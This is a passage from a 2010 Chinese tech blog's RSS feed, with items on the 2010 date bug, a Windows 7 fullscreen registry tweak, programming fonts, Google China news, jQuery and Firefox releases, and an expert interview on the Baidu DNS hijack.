/&gt;需要注意的是，千年虫问题并不一定非要在2000年、2010年这样的&amp;ldquo;整年&amp;rdquo;爆发，关键不在于物理时间，而在于计算机内部时间是如何表示的。只要内 部的时间表示发生了数字溢出、错位、清零等问题，千年虫问题就会现身。理论上说，千年虫问题在任何一个时刻都有可能以某种形式发生。其根本原因，是原先用 于表示10000种状态的年份的存储被压缩成了只能表示100种状态甚至更少的窄小空间中去了。从这个意义上说，&amp;ldquo;千年虫&amp;rdquo;其实应该叫做&amp;ldquo;百年虫&amp;rdquo;。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2010问题会影响多久？&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;2010年很可能作为软件系统的灾难年载入史册，因为很多软硬件系统只能表示30到40年的时间。这部分系统的到期时间就是从2010年开始的年份， 而在它之上构筑的任何软件都会遭遇时间相关的各种系统错误。&lt;br /&gt;&lt;br /&gt;有些错误，表面上和时间毫无关系，但实际上是由于时间错误的传播效应引发的。这样的系统往往是从几十年前的系统发展而来，银行、证券和军用系统，是这 类软件的典型例子；或是存储极其受限的系统，比如手持设备、家用电器等。&lt;br /&gt;&lt;br /&gt;比较幸运的是，现在的主流芯片厂商，如Intel、AMD和VIA，以及操作系统Windows（非移动设备版本）、Linux和Mac OS X都还暂时不会遇到类似的问题。不过，这并不意味着千年虫问题不会在个人电脑上大规模爆发，因为它们的设计也并未将时间表示标准化，并且也不能表示大范围 的时间。并且，应用程序如何处理时间，也是一个重要的问题。系统没有问题并不能保证应用程序没有问题，可以说，千年虫问题的影响是难以全面评估的，也是极 其深远的。&lt;br /&gt;&lt;br /&gt;千年虫问题根本的解决方法，就是用较大的存储来存储年份，这对于现代的存储器来说，应该是游刃有余了。但是一个更大的问题就是现存的系统应该如何升级 以适应时间表示的变化，以及时间表示的标准化，这很有可能是千年虫问题难以在短期内解决的两个最大的障碍。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=228</guid><pubDate>Mon, 25 Jan 2010 06:21:05 GMT</pubDate></item><item><title>完美解决win7玩游戏不能全屏（无需软件） 适应所有独立显卡、集成显卡</title><link>http://www.chendw.cn:8080/view.aspx?id=227</link><description>&lt;p&gt;以前装好win7，心爱的跑跑无法全屏了，两边老师出现黑条，甚是不爽啊！废话少说，按以下步骤可解决!&lt;/p&gt;
&lt;p&gt;开始&amp;mdash;&amp;mdash;运行&amp;mdash;&amp;mdash;输入regedit回车打开注册表，依次HKEY_LOCAL_MACHINE&amp;mdash;&amp;mdash;SYSTEM&amp;mdash;&amp;mdash;ControlSet001&amp;mdash;&amp;mdash;Control&amp;mdash;&amp;mdash;GraphicsDriver&amp;mdash;&amp;mdash;Configuration&amp;mdash;&amp;mdash;在Configuration上右击，选择查找，输入Scaling，在右侧框内搜索到Scaling，将Scaling的值改为3即可。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=227</guid><pubDate>Sat, 23 Jan 2010 09:39:24 GMT</pubDate></item><item><title>让代码更美:10大编程字体</title><link>http://www.chendw.cn:8080/view.aspx?id=226</link><description>&lt;p&gt;&lt;span style="background-color: #ffffff;"&gt;日复一日的编写代码，有没有感到审美疲劳？也许些许的改变就能让我们感到生活更美好。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="background-color: #ffffff;"&gt;换一种编程字体吧！体验一种新的代码感觉。&lt;!--more--&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;下面我眼中的十大编程字体：&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white;"&gt;10. Courier&lt;/h3&gt;
&lt;p&gt;基本上所有的系统都自带了此种字体，有时候它又以Courier New的名字出现。不幸的是很多终端和编辑器都默认使用&lt;span style="background-color: #ffffff;"&gt;此种字体，虽然这不会影响使用，但这会影响心情，它太枯燥了。以前看到这样一句评论：久不见牡丹会以仙人掌为&lt;span style="background-color: #ffffff;"&gt;美。这句评论形Courier字体非常合适。所以如果你还有其他选择的话，请勿使用此字体。更不幸的事情是最后你还是&lt;span style="background-color: #ffffff;"&gt;会继续使用它，那&lt;a href="http://3seconds.cn/" target="_blank"&gt;3秒&lt;/a&gt;只能强烈建议你调整一下字体大小并消除锯齿。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/10-courier-new.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white; margin-left: 20px;"&gt;9. Andale Mono&lt;/h3&gt;
&lt;div style="margin-left: 20px;"&gt;稍微比Courier好一点的字体，有些时候它也被用作默认字体。&lt;a href="http://3seconds.cn/" target="_blank"&gt;3秒&lt;/a&gt;给它的定义是：一个软件不自带就不会有人去专门下载使用的一种字体。&lt;/div&gt;
&lt;div style="margin-left: 20px;"&gt;&lt;span style="background-color: #ffffff;"&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/9-andale-mono.png" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white;"&gt;8. Monaco&lt;/h3&gt;
&lt;p&gt;&lt;span style="background-color: #ffffff;"&gt;使用苹果Mac的人们对它不陌生，它是Mac的默认字体，&lt;a href="http://3seconds.cn/" target="_blank"&gt;3秒&lt;/a&gt;的经验是：使用它时，把字体设置为9号或者10号时会更好，这样看起来就相对不寒酸了。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/8-monaco.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white; margin-left: 20px;"&gt;7. Profont&lt;/h3&gt;
&lt;div style="margin-left: 20px;"&gt;&lt;a href="http://www.tobias-jung.de/seekingprofont/" target="_blank"&gt;Profont&lt;/a&gt;是一种类Monaco的位图字体，你能够在Mac, Windows和Linux上面使用，Mac平台的ProFontX就是它的修改版，当然两个字体并非出自同一作者之手。如果使用它，你把字体调小一点为好。而且如果你是&lt;span style="color: #ff0000;"&gt;非&lt;/span&gt;Mac平台，它是Monaco的最佳替代者。如果你喜欢微小字体或者喜欢&lt;span style="color: #ff0000;"&gt;眼疲劳&lt;/span&gt;，你可以考虑一下它。&lt;/div&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/7-profont.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white;"&gt;6. Monofur&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.dafont.com/monofur.font" target="_blank"&gt;Monofur&lt;/a&gt;是一种独特的等宽字体，各种大小看起来都非常不错，前提是你已经设置为消除锯齿。这种字体的外观比较独特，看着它容易让你想起上世纪八十年代Sun的Solaris(SunOS)上的&lt;a href="http://en.wikipedia.org/wiki/OPEN_LOOK" target="_blank"&gt;OPENLOOK&lt;/a&gt;窗口管理器。如果你喜欢新鲜的东西，你可以试一下这种字体，再次提示一下：消除锯齿。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/6-monofur.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white; margin-left: 20px;"&gt;5. Proggy&lt;/h3&gt;
&lt;div style="margin-left: 20px;"&gt;&lt;a href="http://www.proggyfonts.com/index.php?menu=download" target="_blank"&gt;Proggy&lt;/a&gt;是一种很干净的等宽字体，貌似受到很多Windows用户的青睐，在Mac上它同样工作正常。使用它一般把字体调小点，&lt;span style="color: #ff0000;"&gt;不要&lt;/span&gt;消除锯齿。&lt;/div&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/5-proggy-clean.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white;"&gt;4. Droid Sans Mono&lt;/h3&gt;
&lt;p&gt;&lt;span style="background-color: #ffffff;"&gt;&lt;a href="http://damieng.com/blog/2007/11/14/droid-font-family-courtesy-of-google-ascender" target="_blank"&gt;Droid 字体家族&lt;/a&gt; 适合手机等小屏幕的移动平台，比如&lt;a href="http://code.google.com/android/" target="_blank"&gt;Android&lt;/a&gt;。它在Apache许可证下授权。伟大的编程字体，在我列出的等宽字体中它是最突出的一个。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/4-droid-sans-mono.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white; margin-left: 20px;"&gt;3. Deja Vu Sans Mono&lt;/h3&gt;
&lt;div style="margin-left: 20px;"&gt;
&lt;p&gt;&lt;a href="http://dejavu-fonts.org/wiki/index.php?title=Main_Page" target="_blank"&gt;Deja Vu &lt;/a&gt;是我最喜欢的免费字体家族之一，基于&lt;a href="http://www.gnome.org/fonts/" target="_blank"&gt;Vera&lt;/a&gt;字体家族。Deja Vu已经能够支持更多的字符了，并保持了Vera的外观和感觉。适于任何大小，只要你消除锯齿。&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/3-deja-vu-sans-mono.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white;"&gt;2. Consolas&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.ascenderfonts.com/font/consolas-regular.aspx" target="_blank"&gt;Consolas&lt;/a&gt;是商业字体，它是&lt;a href="http://www.lucasfonts.com/case-studies/calibri-consolas/" target="_blank"&gt;Luc(as) de Groot&lt;/a&gt;为微软ClearType字体家族设计的，与微软很多产品绑定在一起，所以幸运的是可能你的系统上已经有它的存在了。如果你在不消除锯齿的情况下使用它，那还不如使用Courier吧！&lt;/p&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/2-consolas.png" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 style="width: 100%; background: #2c78b9; color: white; margin-left: 20px;"&gt;1. Inconsolata&lt;/h3&gt;
&lt;div style="margin-left: 20px;"&gt;
&lt;p&gt;&lt;span style="background-color: #ffffff;"&gt;&lt;a href="http://www.levien.com/type/myfonts/inconsolata.html" target="_blank"&gt;Inconsolata&lt;/a&gt;是我最喜欢的等宽字体，而且是免费的。在发现它之后，&lt;a href="http://3seconds.cn/" target="_blank"&gt;3秒&lt;/a&gt;迅速改变了Deja Vu Sans Mono作为我默认编程字体的情况。从终端窗口到代码编辑器，我让它无处不在。它的风格非常独特。设计它的时候就已经把锯齿消除了，就算是非常小的时候也很清晰&amp;mdash;真正的情况是它适合于任何大小。感谢&lt;a href="http://www.levien.com/" target="_blank"&gt;Raph Levien&lt;/a&gt;创造了Inconsolata，并让它免费。&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="http://3seconds.cn/"&gt;&lt;img src="http://3seconds.cn/wp-content/uploads/2010/01/1-inconsolata.png" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;这些字体中大部分是免费的，可以自由下载。有些是是商业软件的一部分，比如Consolas。&lt;/p&gt;
&lt;p&gt;你感觉怎么样？如果感觉相见恨晚，不妨去尝试一下。&lt;/p&gt;
&lt;p&gt;原文 &lt;a href="http://3seconds.cn/2010/01/20/10-programming-fonts.html"&gt;http://3seconds.cn/2010/01/20/10-programming-fonts.html&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=226</guid><pubDate>Thu, 21 Jan 2010 02:23:01 GMT</pubDate></item><item><title>谷歌宣布谷歌中国业务恢复正常运转</title><link>http://www.chendw.cn:8080/view.aspx?id=225</link><description>&lt;p align="center"&gt;&lt;img src="http://img1.gtimg.com/tech/pics/27497/27497242.jpg" alt="谷歌中国恢复正常运转" /&gt;&lt;/p&gt;
&lt;p style="font-family: 宋体; font-size: 10pt;" align="center"&gt;谷歌中国恢复正常运转&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;人民网北京1月19日电 据法新社消息，当地时间18日下午，在宣布退出中国市场、员工停止工作一周后，美国网络巨头谷歌再次表示在中国的业务恢复正常运转。&lt;!--more--&gt;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;&amp;ldquo;在发表声明之后，我们给公司职员放了一段长假，以便运行测试和扫描，保证网络的安全可靠&amp;rdquo; ，谷歌在回复法新社的询问中说，&amp;ldquo;谷歌中国的职员现在都已经回到工作岗位，一切业务正常运行。&amp;rdquo;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;上周，新京报报道称谷歌中国的工程师不再能进入公司的全球数据库，不能正常工作。&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;美国国务院发言人克劳利15日宣布，最早可能在下周初将就谷歌事件向中国发出外交照会。这位发言人说，&amp;ldquo;它将表达我们对这一事件的关注，并要求中国提供信息，解释这一事件是如何发生的，以及他们准备怎么处理这一问题。&amp;rdquo;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;对此，中国表示谷歌事件不会影响中美关系，但是谷歌必须遵守中国的法律。商务部发言人上周五说，外国公司应该&amp;ldquo;尊重东道国的法律、公共利益、文化和传统，并为此承担社会责任&amp;rdquo;。&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;&lt;strong&gt;事件回放：&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;&lt;strong&gt;1月12日&lt;/strong&gt; &lt;a href="http://tech.qq.com/a/20100113/000238.htm" target="_blank"&gt;谷歌官方博客表示考虑关闭&amp;ldquo;谷歌中国&amp;rdquo;&lt;/a&gt;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;据人民网报道，美国当地时间1月12日15时，谷歌高级副总裁和首席法律顾问大卫&amp;middot;多姆德(David Drummond)在谷歌官方博客上发文表示，谷歌集团考虑关闭&amp;ldquo;谷歌中国&amp;rdquo;网站以及中国办事处。&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;该博客宣称，我们已经决定，不愿意继续审查&amp;ldquo;谷歌中国&amp;rdquo;搜索到的结果。如果有可能的话，接下来的几周里，我们将和中国政府商议，在法律允许范围内运行一个不必经过过滤的搜索引擎。如果不能达成协议，可能意味着我们将不得不关闭&amp;ldquo;谷歌中国&amp;rdquo;，甚至是谷歌中国办事处。&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;&lt;strong&gt;1月15日&lt;/strong&gt; &lt;a href="http://tech.qq.com/a/20100115/000086.htm" target="_blank"&gt;外交部回应谷歌退出中国 中国互联网是开放的&lt;/a&gt;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;针对Google(谷歌)公司计划退出中国市场一事，中国外交部发言人姜瑜昨天作出回应。她表示，中国的互联网是开放的，中国政府鼓励互联网的发展，鼓励为互联网的健康发展营造良好的环境。&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;&lt;strong&gt;1月18日&lt;/strong&gt; &lt;a href="http://tech.qq.com/a/20100118/000129.htm" target="_blank"&gt;谷歌就&amp;ldquo;退出中国&amp;rdquo;改口 否认已关中国办事处&lt;/a&gt;&lt;/p&gt;
&lt;p style="text-indent: 2em;"&gt;据《环球时报》报道，谷歌威胁退出中国的风波在上周末出现戏剧性转向，该公司不同层级的人员接连表示：不排除会继续留在中国，而且迄今为止公司没有任何撤离行动。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=225</guid><pubDate>Tue, 19 Jan 2010 05:57:01 GMT</pubDate></item><item><title>jQuery1.4正式版发布</title><link>http://www.chendw.cn:8080/view.aspx?id=224</link><description>&lt;p&gt;在jQuery的4岁生日之时，jQuery开发团队很高兴地发布最新的jQuery1.4版本！其他的代码演示、测试、文档的更新也会陆续进行更新发 布。对于jQuery发烧友来说，jQuery1.4的发布也是一个大新闻！下面是来自于jQuery的官方网站翻译（英语高手请勿拍砖！）： 在jQuery的4岁生日之时，jQuery开发团队很高兴地发布最新的jQuery1.4版本！其他的代码演示、测试、文档的更新也会陆续进行更新发布。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a title="jquery1.4压缩版" href="http://code.jquery.com/jquery-1.4.min.js" target="_blank"&gt;jQuery Minified&lt;/a&gt; (23kb Gzipped)&lt;br /&gt;&lt;a title="jquery1.4未压缩版" href="http://code.jquery.com/jquery-1.4.js" target="_blank"&gt;jQuery Regular&lt;/a&gt; (154kb)&lt;br /&gt;&lt;br /&gt;此外，谷歌已经提供了jQuery1.4副本，jquery团队上传到了&lt;a title="Google" href="http://www.2fool.cn/tag/google"&gt;Google&lt;/a&gt;服务器托管服务中。这jQuery1.4的版本是自动minified和gzip 的，地址为：&lt;br /&gt;&lt;a href="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js" target="_blank"&gt;http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;jquery1.4所有的变化和功能添加到&lt;a title="jQuery1.4参考文档" href="http://api.jquery.com/category/version/1.4/" target="_blank"&gt;jQuery1.4文档&lt;/a&gt;中。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=224</guid><pubDate>Fri, 15 Jan 2010 08:57:30 GMT</pubDate></item><item><title>Firefox 3.6 RC不负众望 速度超Chrome</title><link>http://www.chendw.cn:8080/view.aspx?id=223</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/01/214ec7dc957f4b01b3dc96758adf9382.bmp" target="_blank"&gt;&lt;/a&gt;Mozilla在上周发布了Firefox 3.6的RC候选版本，基于新版渲染引擎Gecko 1.9.2，相比之前版本Firefox 3.6 RC在稳定性和安全性方面进行了完善，集成了对Personas的支持，点击一下即可改变浏览器皮肤，改进了JavaScript性能、浏览器整体响应性 和启动速度，支持新的CSS、DOM、HTML5 Web技术、脚步同步执行等等。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;相比其它浏览器，Firefox 3.6 RC是否有优势可言呢？来看一下Fudzilla进行的基准测试：本次测试选取了当前最流行的四款浏览器，分别为Firefox 3.5.7、Google Chrome beta 4.0.249.64、Safari 4.0.4、IE8以及此次的主角Firefox 3.6 RC1。测试基准选取的为Futuremark的免费基准测试工具Peacekeeper，测试硬件平台选用了Core i7 Extreme 965、EVGA X58 SLI Classified E759、6GB DDR3 1600MHz以及64位Windows 7旗舰版。&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;测试结果显示，苹果Safari浏览器在性能上依然占据绝对优势，整体得分为5401。Mozilla此次发布的Firefox 3.6 RC也不负众望，得分为4352，位居第二。其次分别为Chrome 4.0.249.64、Firefox 3.5.7以及IE 8.0。&lt;/p&gt;
&lt;p align="center"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/01/214ec7dc957f4b01b3dc96758adf9382.bmp" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2010/01/214ec7dc957f4b01b3dc96758adf9382.bmp" alt="untitled.bmp" /&gt;&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=223</guid><pubDate>Thu, 14 Jan 2010 03:49:50 GMT</pubDate></item><item><title>微软发布MySQL to SQL Server迁移工具 CTP1.0</title><link>http://www.chendw.cn:8080/view.aspx?id=222</link><description>&lt;p&gt;MySQL（世界上使用最为广泛的开源数据库软件，目前为Sun Microsystem所有）对于微软来说既是竞争者又是合作伙伴（早前MySQL曾加入Visual Studio工业伙伴计划），而自从甲骨文（Oracle）宣布要收购升阳（Sun MicroSystem）之后（顺便得到了升阳旗下的MySQL数据库），MySQL更是升级成为微软的敌人（甲骨文旗下的Oracle数据库是微软SQL Server最为强大的对手）。所以微软此次发布MySQL to SQL Server迁移工具也就不让人意外了。&lt;/p&gt;
&lt;p&gt;MySQL迁移工具是微软SQL Server迁移助手（Microsoft SQL Server Migration Assistant）的其中一个工具。此次发布的为支持预览版CTP1.0，支持SQL server 2008，对应的MySQL数据库则支持4.1、5.0以及5.1，之前的于此同时还发布了一个针对SQL Server 2005的迁移工具。下载地址如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;!--more--&gt;下载:&lt;/strong&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c6f14640-da22-4604-aaaa-a45de4a0cd4adisplaylang=en" target="_blank"&gt;Microsoft SQL Server Migration Assistant 2005 for MySQL v1.0 CTP1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载:&lt;/strong&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=0e6168b0-2d0c-4076-96c2-60bd25294a8edisplaylang=en" target="_blank"&gt;Microsoft SQL Server Migration Assistant 2008 for MySQL v1.0 CTP1&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=222</guid><pubDate>Wed, 13 Jan 2010 09:48:27 GMT</pubDate></item><item><title>谷歌考虑关闭中国运营及网站</title><link>http://www.chendw.cn:8080/view.aspx?id=221</link><description>&lt;p&gt;计世网1月13日消息 冯雪明 据国外媒体报道，Google刚刚在官方博客发表了一篇题为《A new approach to China》的文章，透露计划停止在中国过滤搜索结果，意味着Google 中国可能不复存在，该决定由Google在美国的主管部门下达，那些努力让谷歌成为成功网站的中国员工们并不知情，也并未参与。同时，Google可能会终止正在中国运营及网站Google.cn。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=221</guid><pubDate>Wed, 13 Jan 2010 03:42:14 GMT</pubDate></item><item><title>江海客：百度被黑事件暴露DNS体系脆弱性</title><link>http://www.chendw.cn:8080/view.aspx?id=220</link><description>&lt;p&gt;　　江海客认为，百度遭黑客攻击事件，暴露了整个互联网DNS体系的脆弱性。对于互联网企业而言，最重要的是做好应急预案，在遭遇突发攻击时才能尽快降低损失。&lt;/p&gt;
&lt;p&gt;　　1月12日上午，百度遭到黑客攻击，造成大面积长时间宕机，百度CEO李彦宏连称&amp;ldquo;前所未有啊，前所未有&amp;rdquo;！&lt;/p&gt;
&lt;p&gt;　　为了更深入分析事件原因，解剖事件影响，本站连线了信息安全专家江海客。江海客认为，百度遭黑客攻击事件，暴露了整个互联网DNS体系的脆弱性。对于互联网企业而言，最重要的是做好应急预案，在遭遇突发攻击时才能尽快降低损失。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;!--more--&gt;　　以下是采访实录：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　江海客，真名肖新光，安天实验室首席技术架构设计师，中国互联网协会信息安全专委会委员。&lt;/p&gt;
&lt;p&gt;　　记者：对此次网站被黑的原因，百度公司表示，百度网站出现访问故障，原因是其www.baidu.com的域名，在美国域名注册商处被非法篡改。您认为黑客篡改域名的手段是什么？&lt;/p&gt;
&lt;p&gt;　　江海客：现在我们初步判断，百度域名解析错误指向被篡改页面和其他页面初步判断是DNS劫持类攻击，初步来看是通过whois信息篡改来实现的。&lt;/p&gt;
&lt;p&gt;　　当我们访问一个域名时，需要经过DNS解析，才能转入正确的IP。从技术角度来讲，将某域名的解析地址由正常的IP，非法换为攻击者所期望的IP地址，都可以称为DNS劫持攻击，传统的DNS劫持很多是通过攻击区域性的DNS服务器，采用重定向、ARP压制等多种方法组合实现。&lt;/p&gt;
&lt;p&gt;　　而采用篡改Whois信息的方式，往往攻击链路较长，成功率一般不高，但一旦成功，由于攻击点并不在被攻击厂商的可维护体系之内，其处理起来更加困难。过去出现过一些相关手法多数是用于盗取域名所有权的，用于针对主流互联网服务商进行攻击的手法与其他DNS劫持方法相比，所占比例不高。&lt;/p&gt;
&lt;p&gt;　　这次百度被黑事件，充分暴露了全球DNS体系的脆弱性。其实，DNS问题早在去年519暴风影音事件中，已经初见端倪：仅仅因DNSpod这样一个小环节被攻击，连锁导致了，江苏、河北、山西、广西、浙江等十几个省份出现大规模网络故障。&lt;/p&gt;
&lt;p&gt;　　从整体来看，全球DNS呈根式分布体系，一旦黑客从根部劫持DNS解析或者进行信息篡改，使之转入一个错误的IP，这样的劫持非常难以预防，处理起来也环节也比较多，过程冗长。&lt;/p&gt;
&lt;p&gt;　　不过也不需要过度担心，因为根DNS及核心注册机构这样的基础设施形成了一套基础体系，目前来看基本上保证了internet整体上没有发生过崩盘式的灾难，但由此也可以看到，此次攻击百度的过程还是要经过一个准备过程的。&lt;/p&gt;
&lt;p&gt;　　记者：百度李彦宏在贴吧中发帖称，&amp;ldquo;史无前例，史无前例&amp;rdquo;啊。您认为百度被黑时间这么长，是不是和它的防范水平有关系？&lt;/p&gt;
&lt;p&gt;　　江海客：我认为这和他的技术水平没什么关系。刚才说了DNS体系本身非常脆弱。而且其核心环节并不在域名所有者的控制范围之内，国内企业除了与美方沟通，其实没有什么办法，鞭长莫及，只能干着急。而且DNS有一个缓存时间，因此可能即使指向修复了，仍需要一段时间才能同步到全球各个DNS上。&lt;/p&gt;
&lt;p&gt;　　但百度需要反思自己的预案定制能力和响应体系，如果百度事先做好预案的话，理顺可能的威胁和环节，域名被劫持的时间原则上不会这么长。互联网是一个关联体系，并不是我自己的信息系统不被入侵就能达到目标，比如一个电子银行虽然系统坚如磐石但域名如果被劫持到钓鱼网站，那么后果是什么？不言而喻。&lt;/p&gt;
&lt;p&gt;　　互联网企业应对不可控因素、应对不可抗力的能力，同样是企业的基础能力，不仅是DNS劫持问题、比如地震、水灾、电力事故、恐怖袭击等等，都要形成基础预案，而特别是要能够把体系外需要的外联环节落实到具体的单位和联系人身上去，才能落实。&lt;/p&gt;
&lt;p&gt;　　记者：作为一个网络信息安全专家，您对互联网上的或大或小的网站有什么建议？连百度这样的技术高手都避免不了的攻击，其他网站能怎么办？&lt;/p&gt;
&lt;p&gt;　　江海客：类似DNS劫持、类似DDoS有很多攻击方式难以预防，也难以解决。更多的是需要有一个响应的方式。&lt;/p&gt;
&lt;p&gt;　　但更多的攻击方法实际是自己可以应对的，对于一家小的网站而言，首先还是做好自己的事情，做好补丁，修补漏洞，提升应用系统的安全。对于大的网站，就必须做好全面的应急预案，一旦遭到攻击，就能快速反应，将损失降到最低。&lt;/p&gt;
&lt;p&gt;　　此外，在保护互联网秩序方面，&amp;ldquo;CERT&amp;rdquo;这样的民间或半官方组织能发挥挺大的作用。在百度类似事件中，如果百度和美国的官方&amp;ldquo;CERT&amp;rdquo;建立例行沟通，有时可能比直接与注册管理机构打交道效果更好。目前全球CERT已经是联动的机制，中国的CERT组织也非常活跃。&lt;/p&gt;
&lt;p&gt;　　记者：这次百度黑页面财出现了被伊朗国旗和伊朗网军(iran cyber army)字样，去年年底，美国微博(&lt;a href="http://t.sina.com.cn/" target="_blank"&gt;t.sina.com.cn&lt;/a&gt;)网站Twitter也曾遭到同样的攻击。这种处于政治目的的攻击，在黑客行为中占到的比例高么？&lt;/p&gt;
&lt;p&gt;　　江海客：目前我们还不清楚这种攻击真的和伊朗有关系，还是一种移花接木。从过去案例来看，也有可能是西方内部一些激进左翼年轻人，他们也会处于某种政治上的目的来攻击一些网站，而传播一些非西方主流价值言论和形象。但我们看到，中国有民间组织和网民立即开始准备报复伊朗的站点，这让我们担心民间的安全能量太容易被挑拨和利用。&lt;/p&gt;
&lt;p&gt;　　整体上看，近年来，在互联网黑客行为中，此类为了政治目的的攻击占少数，多数还是为了经济利益。&lt;/p&gt;
&lt;p&gt;　　比如说，攻击某个大型网站将其流量导向竞争对手，或者挂马以窃取虚拟财产和网银，这些都是国内曾经大量出现过的案例。但此次百度页面被导向雅虎，这让我感到意外，我猜测只是一个故意的干扰项。&lt;/p&gt;
&lt;!-- publish_helper_end --&gt;&lt;!-- {09正文所属专题显示} --&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=220</guid><pubDate>Wed, 13 Jan 2010 03:51:07 GMT</pubDate></item><item><title>调查显示：IT类工作满意度跌至最低 仅4%</title><link>http://www.chendw.cn:8080/view.aspx?id=219</link><description>&lt;p&gt;&lt;strong&gt;多项调查显示，IT工作的满意度继续走低。经济低迷以及随之而来的结构重组、裁员以及大部分公司选择业务外包都构成了IT类工作满意度走低的原因。&lt;/strong&gt;&lt;br /&gt;鉴于此，随着满意度降低，许多IT工作者可能另谋它业。由Corporate Executive Board在其客户中（包括财富500强公司）作出的2009年中期工作满意度调查显示，对IT工作不满意的人数持续增加。Corporate Executive Board公司每个季度调查15万名职员，其中10000名为IT职员。&lt;/p&gt;
